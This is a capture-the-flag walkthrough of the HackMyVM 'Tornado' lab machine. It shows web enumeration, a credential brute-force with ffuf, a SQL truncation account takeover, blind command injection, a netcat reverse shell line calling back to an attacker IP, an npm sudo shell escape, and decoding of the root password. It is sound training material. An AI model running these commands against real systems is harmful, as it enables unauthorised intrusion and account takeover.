HMV Tornado Walkthrough
This Linux machine exposed only SSH and Apache, but the real entry point lived under /bluesky/. A
local-path hint on port.php led me to Apache's mod_userdir-style mapping, which exposed a list of
internal email addresses. From there, a SQL truncation bug in signup.php let me reset an existing
user's password, sign in as jacob, and reach a blind command injection in contact.php. After landing
as www-data, a permissive sudoers rule for npm yielded the catchme account, and a small custom
Python encoder in that user's home disclosed the root password.
Summary
Scope
- Name: Tornado
- Difficulty: (5/10)
- OS: Linux
- IP: tornado.hmv (192.168.56.114)
Learned
- When a web page leaks an absolute local path, it is worth testing alternate Apache mappings such
as
~user/, not just classic LFI parameters. - Frontend length restrictions do not protect backend SQL queries; once the client-side limit is bypassed, truncation bugs can become account-takeover primitives.
- Blind command injection is easy to validate with out-of-band ICMP before sending a reverse shell.
Enumeration
Nmap
Overall
# Nmap 7.98 scan initiated Tue Mar 31 14:05:32 2026 as: nmap -p- --min-rate 3000 -oN overall tornado.hmv Nmap scan report for tornado.hmv (192.168.56.114) Host is up (0.00011s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:A0:C0:E6 (Oracle VirtualBox virtual NIC) # Nmap done at Tue Mar 31 14:05:33 2026 -- 1 IP address (1 host up) scanned in 0.52 seconds
Detail
# Nmap 7.98 scan initiated Tue Mar 31 14:05:48 2026 as: nmap -sC -sV -O -vv -p22,80 -oN detail tornado.hmv Nmap scan report for tornado.hmv (192.168.56.114) Host is up, received arp-response (0.00040s latency). Scanned at 2026-03-31 14:05:48 CST for 8s PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 0f:57:0d:60:31:4a:fd:2b:db:3e:9e:2f:63:2e:35:df (RSA) | 256 00:9a:c8:d3:ba:1b:47:b2:48:a8:88:24:9f:fe:33:cc (ECDSA) | 256 6d:af:db:21:25:ee:b0:a6:7d:05:f3:06:f0:65:ff:dc (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEN7aAWve8SO3S79Je/Jl1hI2PCIHMkUoW7UL0jJjNIM 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Apache2 Debian Default Page: It works | http-methods: |_ Supported Methods: OPTIONS HEAD GET POST MAC Address: 08:00:27:A0:C0:E6 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) TCP/IP fingerprint: OS:SCAN(V=7.98%E=4%D=3/31%OT=22%CT=%CU=41092%PV=Y%DS=1%DC=D%G=N%M=080027%TM OS:=69CB6444%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10E%TI=Z%CI=Z%II=I% OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5 OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6= OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O% OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0 OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N OS:%T=40%CD=S) Uptime guess: 49.673 days (since Mon Feb 9 21:57:12 2026) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=262 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Read data files from: /usr/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Mar 31 14:05:56 2026 -- 1 IP address (1 host up) scanned in 7.89 seconds
UDPScan
# Nmap 7.98 scan initiated Tue Mar 31 14:06:21 2026 as: nmap -sU --top-port 32 -oN udpscan tornado.hmv Nmap scan report for tornado.hmv (192.168.56.114) Host is up (0.00044s latency). PORT STATE SERVICE 53/udp closed domain 67/udp closed dhcps 68/udp open|filtered dhcpc 69/udp closed tftp 111/udp open|filtered rpcbind 123/udp open|filtered ntp 135/udp closed msrpc 136/udp open|filtered profile 137/udp closed netbios-ns 138/udp closed netbios-dgm 139/udp closed netbios-ssn 161/udp closed snmp 162/udp open|filtered snmptrap 445/udp closed microsoft-ds 500/udp open|filtered isakmp 514/udp open|filtered syslog 520/udp open|filtered route 631/udp open|filtered ipp 996/udp closed vsinet 997/udp closed maitrd 998/udp open|filtered puparp 999/udp open|filtered applix 1434/udp open|filtered ms-sql-m 1701/udp open|filtered L2TP 1812/udp closed radius 1900/udp open|filtered upnp 3283/udp open|filtered netassistant 4500/udp open|filtered nat-t-ike 5353/udp open|filtered zeroconf 49152/udp closed unknown 49153/udp closed unknown 49154/udp closed unknown MAC Address: 08:00:27:A0:C0:E6 (Oracle VirtualBox virtual NIC) # Nmap done at Tue Mar 31 14:06:32 2026 -- 1 IP address (1 host up) scanned in 10.87 seconds
Only 22/tcp and 80/tcp were open, and the website initially looked like the stock Debian Apache
page. That made web content discovery the obvious next step.
Web
A directory brute-force pass revealed a much more interesting application under /bluesky/.
$ gobuster dir -u http://tornado.hmv/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -t 10 -x php,html,txt,pdf,bak,zip index.html (Status: 200) manual (Status: 301) javascript (Status: 301) bluesky (Status: 301) server-status (Status: 403)
/bluesky/ endpoint
Brute-forcing that subdirectory exposed the usual auth endpoints plus a suspicious port.php page.
$ gobuster dir -u http://tornado.hmv/bluesky/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -t 10 -x php,html,txt,pdf,bak,zip index.html (Status: 200) contact.php (Status: 302) [--> login.php] about.php (Status: 302) [--> login.php] login.php (Status: 200) signup.php (Status: 200) logout.php (Status: 302) [--> login.php] dashboard.php (Status: 302) [--> login.php] port.php (Status: 302) [--> login.php]
Registering a throwaway account was straightforward, but the page source showed a client-side restriction on the username length.
<input type="text" name="uname" placeholder="email" maxlength="13"><br><br> <input type="password" name="upass" placeholder="password"><br><br>
After logging in, port.php provided the first real clue. A parameter fuzz for LFI produced nothing
useful, but the page itself leaked an absolute path and essentially told me that someone had already
tried to patch file inclusion there.
port.php leaked /home/tornado/imp.txt
That path made me try a different Apache feature instead of staying stuck on the parameter. If
~tornado/ mapped into the user's home directory, then imp.txt might be directly web-accessible even
though port.php would not read it for me.
$ curl http://tornado.hmv/~tornado/imp.txt ceo@tornado cto@tornado manager@tornado hr@tornado lfi@tornado admin@tornado jacob@tornado it@tornado sales@tornado
That user list turned into a targeted login brute-force. Rockyou produced several candidate hits for
admin@tornado. That access, however, did not expose anything useful.
$ ffuf -u http://tornado.hmv/bluesky/login.php -H 'Content-Type: application/x-www-form-urlencoded' -b 'PHPSESSID=<session>' -d 'uname=USER&upass=PASS&btn=Login' -w users.txt:USER -w /usr/share/wordlists/rockyou.txt:PASS -mc 302 [Status: 302, Size: 824] * USER: admin@tornado * PASS: hello [Status: 302, Size: 824] * USER: admin@tornado * PASS: HELLO [Status: 302, Size: 824] * USER: admin@tornado * PASS: lol [Status: 302, Size: 824] * USER: admin@tornado * PASS: Hello
admin@tornado
Signup with these users show that only three accounts already existed in the application database: admin, hr,
and jacob. Since the obvious passwords were not enough to reach anything interesting, the next step
was to attack the signup logic itself.
Foothold
SQL Truncation to Take Over a Real User
Direct SQLi attempts against login.php did not work at first because the frontend limited the email
field to 13 characters. Once I removed that browser-side restriction, signup.php accepted a longer
payload and let me overwrite an existing user's password. The screenshot captures one example as
hr@tornado '-- -;, and this is a classic SQL truncation issue.
maxlength restriction, the signup form accepted a truncation-style username payload.Once I repeated that against Jacob's account, the application surface changed immediately.
contact.php functionality that mattered.Blind Command Injection in contact.php
The contact form accepted arbitrary text, but command output did not come back in the response. That
suggested blind command execution rather than harmless reflection, so I used ping to verify it out
of band before spending time on a full reverse shell.
With code execution confirmed, the reverse shell was simple:
nc 192.168.56.1 1337 -e /bin/bash
That landed me as www-data on the target.
Privilege Escalation
www-data to catchme
Basic local enumeration narrowed the interesting users down quickly.
www-data@tornado:/var/www/html$ grep 'sh$' /etc/passwd
root:x:0:0:root:/root:/bin/bash
catchme:x:1000:1000:catchme,,,:/home/catchme:/bin/bash
tornado:x:1001:1001:,,,:/home/tornado:/bin/bash
www-data@tornado:/var/www/html$ ls -al /home/tornado/
total 28
drwxrwxrwx 3 tornado tornado 4096 Dec 10 2020 .
drwxr-xr-x 4 root root 4096 Dec 9 2020 ..
-rw------- 1 tornado tornado 0 Dec 10 2020 .bash_history
-rw-r--r-- 1 tornado tornado 220 Dec 9 2020 .bash_logout
-rw-r--r-- 1 tornado tornado 3526 Dec 9 2020 .bashrc
drwxr-xr-x 3 tornado tornado 4096 Dec 9 2020 .local
-rw-r--r-- 1 tornado tornado 807 Dec 9 2020 .profile
-rwxrwxrwx 1 tornado tornado 116 Dec 10 2020 imp.txt
The breakthrough, however, came from sudoers rather than the filesystem.
www-data sudo rules
www-data@tornado:/var/www/html$ sudo -l
Matching Defaults entries for www-data on tornado:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on tornado:
(catchme) NOPASSWD: /usr/bin/npm
That rule is enough for a shell with the standard npm preinstall trick from GTFObins. The notes
captured the resulting shell as follows:
www-data@tornado:/tmp$ sudo -u catchme /usr/bin/npm -C . i
npm WARN npm npm does not support Node.js v10.21.0
npm WARN npm You should probably upgrade to a newer version of node as we
npm WARN npm can't make any promises that npm will work with this version.
npm WARN npm Supported releases of Node.js are the latest release of 4, 6, 7, 8, 9.
npm WARN npm You can find the latest version at https://nodejs.org/
> @ preinstall /tmp
> /bin/sh
$ id
uid=1000(catchme) gid=1000(catchme) groups=1000(catchme),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)
That pivoted me into the catchme home directory, where the interesting artifact was a custom Python
script named enc.py.
catchme to root
The catchme home directory contained both user.txt and an executable Python helper.
catchme@tornado:~$ ls -al total 32 drwx------ 3 catchme catchme 4096 Dec 10 2020 . drwxr-xr-x 4 root root 4096 Dec 9 2020 .. -rw------- 1 catchme catchme 0 Dec 10 2020 .bash_history -rw-r--r-- 1 catchme catchme 220 Dec 8 2020 .bash_logout -rw-r--r-- 1 catchme catchme 3526 Dec 8 2020 .bashrc drwxr-xr-x 3 catchme catchme 4096 Dec 10 2020 .local -rw-r--r-- 1 catchme catchme 807 Dec 8 2020 .profile -rwx------ 1 catchme catchme 961 Dec 10 2020 enc.py -rw------- 1 catchme catchme 15 Dec 10 2020 user.txt
The script is not real cryptography. It takes a single-character key and rotates only the slice from
a to that key, leaving the rest of the alphabet untouched. Because the embedded ciphertext was
fixed, brute-forcing the 26 possible keys was easier than reasoning about the transform by hand.
enc.py
s = "abcdefghijklmnopqrstuvwxyz" shift=0 encrypted="hcjqnnsotrrwnqc" # k = input("Input a single word key :") if len(k) > 1: print("Something bad happened!") exit(-1) i = ord(k) s = s.replace(k, '') s = k + s t = input("Enter the string to Encrypt here:") li = len(t) print("Encrypted message is:", end="") while li != 0: for n in t: j = ord(n) if j == ord('a'): j = i print(chr(j), end="") li = li - 1 elif n > 'a' and n <= k: j = j - 1 print(chr(j), end="") li = li - 1 elif n > k: print(n, end="") li = li - 1 elif ord(n) == 32: print(chr(32), end=="") li = li - 1 elif j >= 48 and j <= 57: print(chr(j), end="") li = li - 1 elif j >= 33 and j <= 47: print(chr(j), end="") li = li - 1 elif j >= 58 and j <= 64: print(chr(j), end="") li = li - 1 elif j >= 91 and j <= 96: print(chr(j), end="") li = li - 1 elif j >= 123 and j <= 126: print(chr(j), end="") li = li - 1
I wrote a tiny brute-force decoder that simply tried every lowercase letter as the single-character key.
dec.py
encrypted = "hcjqnnsotrrwnqc" for k in "abcdefghijklmnopqrstuvwxyz": decrypted = "" ki = ord(k) for ch in encrypted: j = ord(ch) if ch == k: decrypted += 'a' elif ord('a') <= j < ki: decrypted += chr(j + 1) elif j > ki: decrypted += ch elif j == ki: decrypted += 'a' else: decrypted += ch print(f"key='{k}': {decrypted}")
Running that helper immediately exposed the meaningful candidate.
enc.py.
For key t, the ciphertext decoded to idkrootpassword. This is the password of root!
Takeaways
Tornado is a good example of how several "almost fixed" bugs can still compose into a full compromise. The web application acknowledged an earlier LFI issue, yet it still leaked a local path that pointed straight at an alternate Apache exposure path. The frontend tried to constrain input length, yet the backend still accepted a truncation bug that enabled account takeover. The contact form did not echo command output, yet it still executed attacker-controlled input. None of those individual missteps needed to be perfect to be fatal.
The local privilege-escalation path followed the same pattern. A single sudoers entry for npm was
enough to leave www-data, and the final secret was hidden behind a toy Python encoder that collapsed
under a 26-key brute force. This machine rewarded paying attention to small clues and switching
tactics when the first interpretation of a hint did not pan out.
Footnotes:
The npm escalation follows the standard shell escape documented at GTFObins: npm.